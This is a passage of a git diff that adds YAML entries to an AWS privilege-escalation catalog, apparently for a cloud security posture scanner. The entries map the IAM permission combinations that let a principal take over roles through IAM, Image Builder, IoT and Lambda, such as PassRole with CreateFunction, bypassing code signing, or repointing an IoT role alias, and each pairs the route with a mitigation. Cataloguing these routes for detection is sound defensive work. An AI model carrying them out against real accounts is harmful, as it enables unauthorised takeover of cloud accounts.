resource: "{source.assumable_role_attached_policy_arn}" + target: + kind: aws_account_admin + selector: + via_assumable_role_attached_policy_covered_by: iam:CreatePolicyVersion + scope: same_account + outcome: scope_control + conditions: + - id: policy_version_capacity + description: A policy with five versions requires permission to delete a nondefault version before creation. + blockers: [scp_or_boundary_deny] + confidence: conditional + severity: critical + mitigation: Separate policy-version editing from role assumption and constrain the role with a boundary. + +- id: aws-iam-createuser-policy-accesskey + provider: aws + service: iam + title: Create a privileged IAM user and obtain its access key + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#common-iam-persistence + source_revision: b587e6bd26 + summary: The source can create a new IAM user, grant it administrator permissions, and obtain credentials independent of the source identity. + requires: + all_of: + - action: iam:CreateUser + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + - action: iam:CreateAccessKey + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + any_of: + - - action: iam:PutUserPolicy + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + - - action: iam:AttachUserPolicy + resource: arn:{source.partition}:iam::{source.account}:user/* + bind: new_user + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + scope: same_account + outcome: scope_control + aggregate_as: Administrator of {account} through a newly created IAM user + conditions: + - id: new_user_policy + description: The caller can choose an administrator-equivalent inline policy or attach an administrator-equivalent managed policy to the same new user, and retains its access key. + - id: effective_permissions + description: SCPs, permissions boundaries, session conditions and policy attachment restrictions must permit the resulting administrator actions. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Separate user creation from policy grants and credential issuance; restrict each action to approved identity administration. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + notes: The same new user must be covered by every action; managed-policy attachment additionally requires a policy ARN that actually grants the desired permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml new file mode 100644 index 0000000000..9005e86da6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml @@ -0,0 +1,40 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EC2 Image Builder privilege escalation techniques. +# Source: hacktricks-cloud aws-ec2-image-builder-privesc/README.md. + +- id: aws-imagebuilder-component-version-hijack + provider: aws + service: imagebuilder + title: Publish a newer component version consumed by a wildcard recipe and run the pipeline + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-image-builder-privesc/README.md#imagebuildercreatecomponent--imagebuilderstartimagepipelineexecution + source_revision: 3a7851fefe + summary: The source can obtain the privileges of the infrastructure instance-profile role of an Image Builder pipeline whose recipe references an account-owned component by a version wildcard. + requires: + all_of: + - action: imagebuilder:CreateComponent + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + via_resource_type: imagebuilder_pipeline + scope: same_account + aggregate_as: "Image Builder infrastructure roles of pipelines with unpinned component builds in {account}" + preconditions: + - imagebuilder_component_publish_and_pipeline_start + conditions: + - id: unpinned_component + description: The recipe must reference an account-owned component by a wildcard semantic version or an exact semantic version without a build number. A pinned build ARN and AWS-owned components are not affected. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Pin component build versions in recipes and restrict imagebuilder:CreateComponent for consumed component names. + references: [] + notes: No iam:PassRole is needed. The build role is the instance-profile role of the infrastructure configuration and trusts ec2.amazonaws.com. The evaluator joins a collected recipe component, the pipeline carrying that profile role, CreateComponent permission covering a future matching version or build, and StartImagePipelineExecution on that same pipeline. A policy scoped to one fixed existing build does not establish publication of a newer build. Missing recipe or pipeline facts stay unresolved. Scheduled pipelines may also pick up a new component version later, but this entry needs a source-startable pipeline to establish execution. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml new file mode 100644 index 0000000000..1ef22a9640 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml @@ -0,0 +1,95 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IoT Core privilege escalation techniques. +# Source: hacktricks-cloud aws-iot-privesc/README.md and aws-iot-core-privesc/README.md (rev 171e422299). + +- id: aws-iot-passrole-rolealias-certificate + provider: aws + service: iot + title: Create an IoT role alias and certificate policy to assume a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreaterolealias--updaterolealias--iampassrole--assume-an-arbitrary-role-via-a-device-certificate + source_revision: 6fb9ac51fd + summary: The source can create a new role alias and IoT policy, then use an active certificate it generates or registers to obtain credentials for a passable role trusting the IoT credential provider. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: iot.amazonaws.com + - action: iot:AttachPolicy + resource: "*" + - action: iot:CreateRoleAlias + resource: "*" + - action: iot:CreatePolicy + resource: "*" + any_of: + - - action: iot:CreateKeysAndCertificate + resource: "*" + - - action: iot:RegisterCertificateWithoutCA + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: credentials.iot.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting credentials.iot.amazonaws.com passable in {account}" + outcome: credentials + preconditions: + - iot_new_alias_policy_certificate_same_region + conditions: + - id: fresh_alias_and_policy + description: The caller creates a new role alias and IoT policy allowing iot:AssumeRoleWithCertificate on that alias, then attaches the policy to an active generated or self-registered certificate whose private key it holds. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on IoT credential-provider roles and the IoT alias, policy and certificate permissions to IoT administrators. + references: + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_CreateRoleAlias.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_RegisterCertificateWithoutCA.html + notes: This is the self-contained new-alias/new-policy/new-certificate path, including a locally generated certificate registered without a CA. The existing-alias route below covers repointing a collected alias with a new policy and certificate. Reusing an existing policy or already-held certificate still requires separate exact joins. The aws-iot-core-privesc page documents the same family. + +- id: aws-iot-update-existing-alias-new-certificate + provider: aws + service: iot + title: Repoint an existing IoT role alias to a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreaterolealias--updaterolealias--iampassrole--assume-an-arbitrary-role-via-a-device-certificate + source_revision: 117eefa65f + summary: The source can repoint an existing IoT role alias to a passable role, then use a newly generated or self-registered certificate with a new IoT policy to obtain that role's credentials. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: iot.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: credentials.iot.amazonaws.com + scope: same_account + aggregate_as: "Roles reachable by repointing a collected IoT alias in {account}" + outcome: credentials + preconditions: + - iot_existing_alias_new_policy_certificate_same_region + conditions: + - id: exact_existing_alias + description: A collected alias in the same Region can be updated by the source to point to the target role. + - id: controlled_certificate + description: The source can create an IoT policy for that alias and attach it to a generated or self-registered active certificate whose private key it holds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit UpdateRoleAlias and iam:PassRole for IoT credential-provider roles, and restrict who can create and attach IoT certificate policies. + references: + - https://docs.aws.amazon.com/iot/latest/apireference/API_ListRoleAliases.html + - https://docs.aws.amazon.com/iot/latest/apireference/API_UpdateRoleAlias.html + - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html + notes: The exact alias is observed by ListRoleAliases; no existing certificate or policy is assumed. Another same-Region path must let the source create a policy and active certificate and attach that policy to the certificate. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml new file mode 100644 index 0000000000..254660fc6e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/lambda.yaml @@ -0,0 +1,557 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Lambda privilege escalation techniques. +# Source: hacktricks-cloud aws-lambda-privesc/README.md (rev 171e422299). +# Conventions used across catalog/aws/*.yaml written for AWS part B (see SCHEMA EXTENSIONS in the agent report): +# resource "{target.resource_arn}" -> ARN of the EXISTING resource (function, instance, job, cluster, ...) that carries the +# target role; every requirement using it must cover the SAME resource. +# resource "{target.artifact_arn}" -> ARN of an executable artifact (S3 object, ECR repository, SSM document) that the +# target role's workload later consumes/executes. +# selector via_resource_type: -> target role is the execution/instance role of an existing resource of type +# whose ARN is {target.resource_arn}. +# selector via_artifact_type: -> target role is the role of a workload that consumes the artifact {target.artifact_arn}. + +- id: aws-lambda-passrole-createfunction-invokefunction + provider: aws + service: lambda + title: Create a Lambda function with a passed execution role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdainvokefunction + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:InvokeFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions on the PassRole grant may restrict which roles can be passed to Lambda. + - id: invoke_resource_scope + description: lambda:InvokeFunction must cover the newly created function name; a name-restricted Resource limits which names the source can use but does not remove the edge if any covered name is free. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific Lambda execution roles with iam:PassedToService=lambda.amazonaws.com, and scope lambda:CreateFunction/InvokeFunction to named functions. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html + notes: Only roles whose trust policy allows lambda.amazonaws.com can be used as an execution role. + +- id: aws-lambda-passrole-createfunction-addpermission + provider: aws + service: lambda + title: Create a Lambda function with a passed role and grant itself invoke via the resource policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdaaddpermission + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com without holding lambda:InvokeFunction. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:AddPermission + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:Principal: + source_principal: true + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + - id: source_invoke_grant + description: The new function's resource policy must grant lambda:InvokeFunction to the source principal without a URL-only or service-source restriction. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and lambda:AddPermission; deny lambda:AddPermission except to deployment principals. + references: [] + notes: Same reachable set as the CreateFunction+InvokeFunction variant; distinct permission combination. + +- id: aws-lambda-passrole-createfunction-createeventsourcemapping + provider: aws + service: lambda + title: Create a Lambda function with a passed role and trigger it through an event source mapping + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreateeventsourcemapping + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com via an event-source-triggered function. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:CreateFunction + resource: "*" + - action: lambda:CreateEventSourceMapping + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - lambda_existing_sqs_queue_function_and_role + conditions: + - id: event_source_available + description: An existing SQS queue can trigger the new function when the source can send a message and the passed role can receive and delete it. Other poll-based sources remain unresolved until their source, trigger, and role grants are joined. + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific roles with iam:PassedToService, and restrict lambda:CreateEventSourceMapping to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/invocation-eventsourcemapping.html + - https://docs.aws.amazon.com/lambda/latest/dg/services-sqs-configure.html + notes: HackTricks uses DynamoDB as the trigger; a separate self-contained DynamoDB variant is aws-lambda-passrole-createfunction-dynamodb-stream-trigger. This general route reports a conditional edge for one collected SQS queue only when SendMessage, ReceiveMessage, DeleteMessage, GetQueueAttributes, a same-Region new function, function-bound PassRole, and a resource-less CreateEventSourceMapping grant all join. A customer-managed encrypted queue needs key grants and stays unresolved here. Other poll-based sources remain unknown until their permissions and a record-producing path are established. + +- id: aws-lambda-passrole-createfunction-dynamodb-stream-trigger + provider: aws + service: lambda + title: Create a Lambda function with a passed role and trigger it from a new DynamoDB stream + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreateeventsourcemapping + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting lambda.amazonaws.com by creating a DynamoDB table with a stream, mapping the stream to a function it creates with the role, and writing an item to fire it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:CreateFunction + resource: "*" + - action: lambda:CreateEventSourceMapping + resource: "*" + - action: dynamodb:CreateTable + resource: "arn:{source.partition}:dynamodb:*:{target.account}:table/*" + - action: dynamodb:PutItem + resource: "arn:{source.partition}:dynamodb:*:{target.account}:table/*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - lambda_new_dynamodb_stream_function_and_role + conditions: + - id: role_reads_stream + description: The passed role must be able to read the new table's stream with dynamodb:DescribeStream, GetShardIterator, and GetRecords; ListStreams is checked as a resource-less action for the documented Lambda stream policy. + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole to specific roles with iam:PassedToService, and restrict lambda:CreateEventSourceMapping and dynamodb:CreateTable to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/with-ddb.html + - https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/iam__privesc_scan + notes: Pacu PassExistingRoleToNewLambdaThenTriggerWithNewDynamo. A new table is created with StreamSpecification enabled, a new function uses the exact passed role, and an enabled mapping targets that function. PutItem on the same table supplies a stream record. The evaluator joins one available table and function name in one Region, stream-reading role grants, PassRole bound to that function, and a resource-less CreateEventSourceMapping grant with lambda:FunctionArn context. A conditional permission or unavailable inventory stays unresolved. + +- id: aws-lambda-updatefunctioncode + provider: aws + service: lambda + title: Replace the code of an existing Lambda function + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaupdatefunctioncode + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Lambda functions whose code it can update. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of Lambda functions updatable in {account}" + preconditions: + - lambda_existing_zip_function_direct_invoke_ready + conditions: + - id: function_invocation + description: The source can invoke the same function after updating its code; an uncollected trigger remains unresolved. + blockers: + - lambda_code_signing_enforced + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict lambda:UpdateFunctionCode to the deployment pipeline on specific function ARNs and enforce a code-signing config with UntrustedArtifactOnDeployment=Enforce. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-codesigning.html + notes: A reported route uses one active ZIP function with completed update status, no enforced code signing, and matching UpdateFunctionCode and InvokeFunction permissions. Image functions and unverified trigger paths stay unresolved. + +- id: aws-lambda-codesigning-bypass-updatefunctioncode + provider: aws + service: lambda + title: Remove or replace a function's code-signing config, then replace its code + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdadeletefunctioncodesigningconfig-or-lambdaputfunctioncodesigningconfig--lambdaupdatefunctioncode--bypass-lambda-code-signing + source_revision: a66f094ede + summary: The source can obtain the privileges of the execution role of code-signed Lambda functions whose code-signing config it can remove or replace. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of code-signed Lambda functions in {account}" + preconditions: + - lambda_enforced_zip_function_signing_bypass_and_invoke + conditions: + - id: warn_config_available + description: PutFunctionCodeSigningConfig must cover a real Warn configuration ARN; UpdateCodeSigningConfig on the current configuration is another possible route. + - id: function_invocation + description: The function must run after the change (own InvokeFunction permission or existing trigger). + - id: lambda_codesigningconfigarns_condition + description: A lambda:CodeSigningConfigArns condition on CreateFunction/UpdateFunctionCode policies can force a specific config and prevents the swap path. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Deny lambda:DeleteFunctionCodeSigningConfig, lambda:PutFunctionCodeSigningConfig and lambda:CreateCodeSigningConfig to non-admins, and enforce code signing via SCP with lambda:CodeSigningConfigArns. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/configuration-codesigning.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_lambda.html + notes: DeleteFunctionCodeSigningConfig is authorized on the function ARN. PutFunctionCodeSigningConfig and UpdateCodeSigningConfig are authorized on code-signing-config ARNs. New Warn configurations are reported only when a recorded publisher and broad Create/Put permissions support them; other creation paths remain unresolved. + +- id: aws-lambda-signer-startsigningjob-updatefunctioncode + provider: aws + service: lambda + title: Sign attacker code with a publisher profile already trusted by a function's code-signing config + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#signerstartsigningjob--lambdaupdatefunctioncode--sign-attacker-code-with-an-already-trusted-publisher + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of code-signed Lambda functions whose config trusts a signing profile it can use. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of code-signed Lambda functions in {account}" + preconditions: + - lambda_signer_trusted_profile_artifact_unverified + conditions: + - id: signing_profile_trusted + description: signer:StartSigningJob must cover a signing profile whose version ARN is in the AllowedPublishers of the function's code-signing config. + - id: versioned_source_bucket + description: Signer requires a versioned S3 source bucket and a destination bucket the source can write and read. + - id: function_invocation + description: The function must run after the update. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict signer:StartSigningJob on production signing profiles to the release pipeline, and keep signing profiles per environment. + references: + - https://docs.aws.amazon.com/signer/latest/developerguide/signing-profiles.html + notes: The evaluator joins the same writable ZIP function to its enforcing code-signing config and checks StartSigningJob on a trusted profile, including signer:ProfileVersion, plus GetCodeSigningConfig on the exact config ARN. A complete versioned source object and writable/readable signed destination are still needed before the role edge can be reported. The source S3 object may already exist, so PutObject is not always required. + +- id: aws-lambda-passrole-updatefunctionconfiguration-role-swap + provider: aws + service: lambda + title: Run controlled code through an existing Lambda function with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdaupdatefunctionconfiguration-lambdainvokefunction--repoint-an-existing-functions-execution-role + source_revision: 171e422299 + summary: The source can run chosen code under a passable Lambda-trusting role by changing the role and either the code or a startup wrapper layer of one existing function it can invoke. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: lambda:UpdateFunctionConfiguration + resource: "*" + - action: lambda:InvokeFunction + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - lambda_existing_zip_function_role_swap_ready + conditions: + - id: same_function + description: The role change, chosen-code path, and invocation must cover the same active ZIP function. Chosen code comes from UpdateFunctionCode or a newly published executable layer attached with AWS_LAMBDA_EXEC_WRAPPER and GetLayerVersion permission. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole to approved Lambda roles and restrict function configuration and code updates to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/api/API_UpdateFunctionConfiguration.html + - https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html + notes: Changing a function's role without a way to run chosen code does not grant the caller the role's general permissions. The evaluator requires UpdateFunctionCode or a new wrapper layer published and attached by the source on the same supported native-runtime function, followed by InvokeFunction. A pre-existing controlled layer or customer-managed KMS setting stays unresolved without further evidence. + +- id: aws-lambda-putresourcepolicy-grant-updatefunctioncode + provider: aws + service: lambda + title: Grant code updates to oneself through a Lambda function resource policy + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaputresourcepolicy--lambdaaddpermission--lambdaremovepermission--grant-code-updates-through-a-function-policy + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Lambda functions whose resource policy it can replace, by granting itself lambda:UpdateFunctionCode there. + requires: + all_of: + - action: lambda:PutResourcePolicy + resource: "{target.resource_arn}" + request_context: + lambda:Principal: + source_principal: true + - action: lambda:AddPermission + resource: "{target.resource_arn}" + request_context: + lambda:Principal: + source_principal: true + - action: lambda:RemovePermission + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: lambda + via_resource_type: lambda_function + scope: same_account + aggregate_as: "Execution roles of Lambda functions whose policy is writable in {account}" + outcome: workload_execution + preconditions: + - lambda_policy_rewrite_zip_code_and_invoke_ready + conditions: + - id: same_function + description: The policy rewrite must grant code update and invocation on the same runnable ZIP function. + - id: no_explicit_deny + description: The source's identity policy, permissions boundary, and organization policy must not explicitly deny either granted action. + blockers: + - lambda_code_signing_enforced + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict lambda:PutResourcePolicy, lambda:AddPermission and lambda:RemovePermission to deployment principals on exact function ARNs, and enforce code signing. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html + notes: PutResourcePolicy requires all three permissions per the Lambda documentation, and UpdateFunctionCode is among the actions a function resource policy can grant. lambda:AddPermission alone is covered by the existing AddPermission entries. + +- id: aws-lambda-passrole-createfunction-functionurl + provider: aws + service: lambda + title: Create a Lambda with a passed role and invoke it through a Function URL + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#iampassrole-lambdacreatefunction-lambdacreatefunctionurlconfig-lambdainvokefunctionurl + source_revision: 171e422299 + summary: The source can run code with a passable Lambda execution role through a newly created Function URL when it can invoke that URL and its function. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: lambda:CreateFunctionUrlConfig + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:FunctionUrlAuthType: AWS_IAM + bind: new_function + - action: lambda:InvokeFunctionUrl + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:FunctionUrlAuthType: AWS_IAM + bind: new_function + - action: lambda:InvokeFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + request_context: + lambda:InvokedViaFunctionUrl: "true" + bind: new_function + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting lambda.amazonaws.com in {account}" + outcome: workload_execution + conditions: + - id: url_auth_type + description: The new URL must use AWS_IAM auth; a NONE URL also needs a public function resource policy, which this route does not establish. + - id: same_new_function + description: CreateFunction, CreateFunctionUrlConfig, InvokeFunctionUrl and InvokeFunction must all be authorized for one available function name in the same Region. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Lambda execution roles and lambda:CreateFunctionUrlConfig to deployment principals. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html + notes: New Function URLs require both invoke actions. This route remains distinct from direct invocation when InvokeFunction is permitted only with lambda:InvokedViaFunctionUrl=true. + +- id: aws-lambda-microvm-passrole-runmicrovm-shell + provider: aws + service: lambda + title: Launch a Lambda MicroVM with a passed execution role and open a shell into it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambda-microvms + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles usable as Lambda MicroVM execution roles by launching a MicroVM runtime with that role and the shell-ingress connector and then opening an interactive shell in the guest, which receives the role credentials through IMDSv2. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: lambda.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles passable as Lambda MicroVM execution roles in {account}" + outcome: workload_execution + preconditions: + - lambda_microvm_shell_runnable_image_and_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions on the PassRole grant may restrict which roles can be attached to a MicroVM. + - id: same_image_scope + description: RunMicrovm and CreateMicrovmShellAuthToken must cover the same runnable customer image. AWS-managed base-image eligibility is left unresolved without runtime evidence. + - id: shell_ingress_connector + description: The runtime must be launched with the AWS-managed SHELL_INGRESS connector; lambda:PassNetworkConnector has no resource-level scope, so its IAM grant must apply to Resource *, and the connector cannot be added to a running MicroVM. + - id: alternative_attacker_image + description: A source able to build its own MicroVM image could instead run arbitrary application code with the passed role without a shell token; that variant is not modelled separately. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole for MicroVM execution roles to exact role ARNs with iam:PassedToService, scope lambda:RunMicrovm and lambda:CreateMicrovmShellAuthToken to exact image ARNs for operators only, and avoid the SHELL_INGRESS connector on images that run with privileged roles. + references: + - https://docs.aws.amazon.com/lambda/latest/dg/microvms-how-it-works.html + - https://docs.aws.amazon.com/lambda/latest/dg/microvms-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_lambda.html + notes: RunMicrovm attaches an optional execution role whose credentials the guest receives through IMDSv2. AWS requires the execution role to trust lambda.amazonaws.com for sts:AssumeRole and sts:TagSession. The evaluator joins one recorded runnable customer image covered by RunMicrovm and CreateMicrovmShellAuthToken with a global PassNetworkConnector grant evaluated in the image's Region; the requested connector must be SHELL_INGRESS. A possible AWS-managed base-image path stays unknown without runtime evidence. + +- id: aws-lambda-passrole-createfunction-eventbridge-trigger + provider: aws + service: lambda + title: Run a newly created Lambda with a passable role through EventBridge + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#cronevent-actuator + source_revision: b587e6bd26 + summary: The source can run chosen code under a stronger Lambda-trusting role by creating a function and a scheduled EventBridge rule that invokes it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + - action: lambda:CreateFunction + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + - action: events:PutRule + resource: arn:{source.partition}:events:*:{source.account}:rule/* + bind: scheduled_rule + - action: events:PutTargets + resource: arn:{source.partition}:events:*:{source.account}:rule/* + bind: scheduled_rule + - action: lambda:AddPermission + resource: arn:{source.partition}:lambda:*:{source.account}:function:* + bind: new_function + request_context: + lambda:Principal: events.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: lambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Passable Lambda roles reachable via EventBridge in {account} + outcome: workload_execution + conditions: + - id: scheduled_rule_invokes_function + description: The source must create an enabled scheduled rule on the default bus, add the newly created function as an allowed events:TargetArn, and grant events.amazonaws.com invoke permission; function and rule must be in one Region. + - id: passrole_condition_key + description: iam:PassedToService and iam:AssociatedResourceArn conditions must allow passing the role to this new Lambda function. + blockers: + - 